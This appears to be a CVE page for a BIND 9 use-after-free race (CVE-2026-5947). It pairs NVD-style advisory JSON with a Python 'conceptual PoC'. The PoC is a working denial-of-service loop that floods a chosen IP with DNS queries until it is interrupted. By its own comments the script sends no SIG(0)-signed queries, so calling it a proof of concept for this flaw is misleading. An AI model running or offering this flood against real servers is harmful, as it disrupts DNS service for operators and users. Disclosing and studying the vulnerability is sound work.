CVE-2026-5947

import socket import struct # Conceptual PoC for CVE-2026-5947 # This script demonstrates sending a high volume of DNS queries to target a BIND server. # To trigger the specific SIG(0) race condition, queries would need to be signed with SIG(0). # In a real scenario, an attacker would flood the server to hit the 'recursive-clients' limit. def send_dns_flood(target_ip, target_port=53): # Create a raw DNS query packet (simplified) # ID: 0x1234, Flags: 0x0100 (Standard query), QDCOUNT: 1 dns_header = struct.pack('!HHHHHH', 0x1234, 0x0100, 1, 0, 0, 0) # Query: example.com, Type A, Class IN query = b'\x07example\x03com\x00' + struct.pack('!HH', 1, 1) packet = dns_header + query sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: print(f"[*] Flooding {target_ip} with DNS queries...") while True: sock.sendto(packet, (target_ip, target_port)) except KeyboardInterrupt: print("\n[*] Stopped.") finally: sock.close() if __name__ == "__main__": # Replace with target IP TARGET = "192.168.1.1" send_dns_flood(TARGET)

{"cve": {"id": "CVE-2026-5947", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:40.303", "lastModified": "2026-05-20T14:04:57.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Undefined behavior may result due to a race condition leading to a use-after-free violation. If BIND receives an incoming DNS message signed with SIG(0), it begins work to validate that signature. If, during that validation, the \"recursive-clients\" limit is reached (as would occur during a query flood), and that same DNS message is discarded per the limit, there is a brief window of time while the SIG(0) validation may attempt to read the now-discarded DNS message.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.22, 9.21.0 through 9.21.21, and 9.20.9-S1 through 9.20.22-S1.\nBIND 9 versions 9.18.28 through 9.18.49 and 9.18.28-S1 through 9.18.49-S1 are NOT affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://downloads.isc.org/isc/bind9/9.20.23", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.21.22", "source": "[email protected]"}, {"url": "https://kb.isc.org/docs/cve-2026-5947", "source": "[email protected]"}]}}